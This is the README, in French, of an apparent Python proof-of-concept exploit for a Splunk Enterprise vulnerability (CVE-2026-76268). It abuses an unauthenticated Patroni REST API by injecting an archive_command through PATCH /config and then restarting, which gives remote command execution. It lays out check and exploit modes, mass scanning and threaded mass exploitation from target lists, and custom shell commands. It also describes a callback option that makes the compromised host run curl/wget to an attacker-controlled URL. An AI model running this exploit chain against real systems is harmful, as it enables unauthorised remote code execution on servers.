
PoC Python pour CVE-2026-76268 : détecte l'API REST Patroni non authentifiée sur les membres du SHC Splunk et l'exploite via une injection dans archive_command pour obtenir une RCE.
PoC en Python 3 pour CVE-2026-76268 — Splunk Enterprise sur les membres d'un cluster de têtes de recherche (SHC). Avis SVD-2026-1001.
| CVE.org | https://www.cve.org/CVERecord?id=CVE-2026-76268 |
| Avis | https://advisory.splunk.com/advisories/SVD-2026-1001 |
| Composant | sidecar PostgreSQL (Storage) → API REST Patroni |
| Affecté | 10.2.0 – 10.2.6, 10.4.0 – 10.4.2 |
| Correctif | 10.2.7, 10.4.3 (et versions ultérieures) |
| Non affecté (cette CVE) | 10.0.x, 9.4.x |
| CWE | CWE-306 — absence d'authentification pour une fonction critique |
| CVSS 3.1 | 9.8 Critique |
| Marqueur de vérification | POCBIT-76268-OK |
| PoCbit | https://pocbit.org/pocs/cve-2026-76268 |
Sur les membres SHC vulnérables de Splunk Enterprise, l'API REST Patroni (partie du sidecar PostgreSQL introduit dans Splunk 10.x) accepte des requêtes modifiant l'état sans authentification. Un attaquant disposant d'un accès réseau au listener Patroni peut modifier la configuration dynamique du cluster et déclencher une exécution de commandes au niveau du système d'exploitation via des paramètres PostgreSQL tels que archive_command (chaîne Patroni PATCH /config + POST /restart).
Cette PoC communique directement avec Patroni (généralement TCP 8008, ou un port attribué par l'IPC Broker de Splunk). Elle n'utilise pas Splunk Web (8000) ni le port de gestion Splunk (8089). Il s'agit d'une surface différente (par exemple, des problèmes historiques du sidecar via le proxy splunkd).
Préconditions pour un impact réel :
[postgres] est activé (disabled = true supprime Patroni).cd CVE-2026-76268
pip install -r requirements.txt
requests, urllib3| Mode | Objectif |
|---|---|
check (par défaut) | Détecter Patroni sur les ports courants ; tester PATCH /config sans authentification |
exploit | Exécuter la chaîne RCE de Patroni (archive_command + redémarrage) |
| Mass | --list FILE avec -j threads ; écrit du JSONL + listes optionnelles de hits/exploits |
Vous devez fournir soit -t TARGET soit --list FILE.
-t / lignes dans --list)| Format | Exemple |
|---|---|
| Hôte seul (scan de ports par défaut) | 192.168.1.50 |
| Hôte + port | 192.168.1.50:8008 |
| URL complète | http://10.0.0.5:8008 |
Commentaires dans les fichiers de liste : les lignes commençant par # sont ignorées.
Découvrir Patroni et évaluer si des modifications de configuration sans authentification semblent autorisées.
python poc.py -t 192.168.1.50 --mode check
python poc.py -t 192.168.1.50:8008 --mode check
python poc.py --list targets.example.txt --mode check -j 20 --vuln-list hits.txt
Ce que fait le PoC :
GET /patroni (ou /) sur chaque port de --ports (par défaut 8008,8009,8010,18008).PATCH /config avec un corps JSON vide et sans identifiants.exploitable_candidate: true lorsque Patroni répond et que le PATCH n'est pas rejeté avec 401/403.Options utiles :
| Option | Signification |
|---|---|
--ports | Ports Patroni à scanner, séparés par des virgules |
--port | Ignore le scan ; utilise un seul port |
--timeout | Délai d'expiration HTTP (secondes, par défaut 20) |
--proxy | Proxy HTTP(S) pour les requêtes |
--output | Journal JSONL (par défaut cve_2026_76268_results.jsonl) |
--vuln-list | Candidats séparés par des tabulations (par défaut hits.txt) |
--quiet | Sortie console réduite |
--no-color | Terminal sans couleur |
Code de sortie : 0 si exploitable_candidate est vrai ; sinon 1.
Flux de travail recommandé : vérification en masse → examen de hits.txt → exploitation en masse uniquement sur les hôtes autorisés.
--mode exploit)Exécute la chaîne d'injection de configuration Patroni. Cela modifie la configuration dynamique active du sidecar/PostgreSQL sur la cible.
--port est défini).PATCH /config renvoie 401/403.PATCH /config — définit wal_level=replica, archive_mode=always, archive_timeout=1 et votre archive_command.POST /restart — applique la configuration PostgreSQL en attente.--wait-archive secondes (par défaut 3) ; archive_command s'exécute sur le cycle d'archivage WAL (pas instantanément).# OOB verification (recommended): callback receives GET .../POCBIT-76268-OK
python poc.py -t 192.168.1.50:8008 --mode exploit --oob http://YOUR_IP:8888
# Lab marker file on the Splunk host (runs as sidecar/Postgres user)
python poc.py -t 192.168.1.50 --mode exploit --wait-archive 5
# Custom shell command (your responsibility to quote safely)
python poc.py -t 192.168.1.50 --mode exploit --command "id > /tmp/splunk-poc"
# Force port, longer wait for slow archives
python poc.py -t 192.168.1.50 --mode exploit --port 8008 --wait-archive 10
python poc.py --list hits.txt --mode exploit -j 5 --oob http://CALLBACK:8888
Sorties :
--output — JSONL complet (l'exploit massif utilise par défaut cve_2026_76268_exploit.jsonl si vous avez conservé le nom par défaut).--exploited-list — lignes où exploited: true (par défaut exploited.txt).| Option | Signification |
|---|---|
--oob URL | URL de base ; la commande exécute curl/wget vers URL/POCBIT-76268-OK |
--command | Chaîne complète archive_command PostgreSQL (remplace la valeur OOB par défaut) |
--wait-archive | Secondes d'attente après le redémarrage avant que le PoC ne se termine |
--ports / --port | Découverte de ports ou port Patroni fixe |
--tls | Utiliser https:// pour Patroni (rare dans la documentation par défaut du sidecar Splunk) |
Commande par défaut lorsque ni --oob ni --command n'est défini :
touch /tmp/POCBIT-76268-OK
Code de sortie : 0 lorsque le PATCH et le redémarrage sont acceptés (exploited: true). Cela signifie que la chaîne a été délivrée, et non que votre callback ou votre preuve par fichier s'est déjà déclenché. Confirmez par des vérifications OOB ou sur le système de fichiers de l'hôte.
Important : Patroni peut ignorer les modifications dynamiques si les mêmes paramètres sont verrouillés dans la configuration locale (durcissement du fournisseur). Dans ce cas, l'exploitation peut échouer même sur d'anciennes versions de Splunk.
-t)Affichée sur stdout (JSON formaté). Le mode massif écrit un objet JSON par ligne.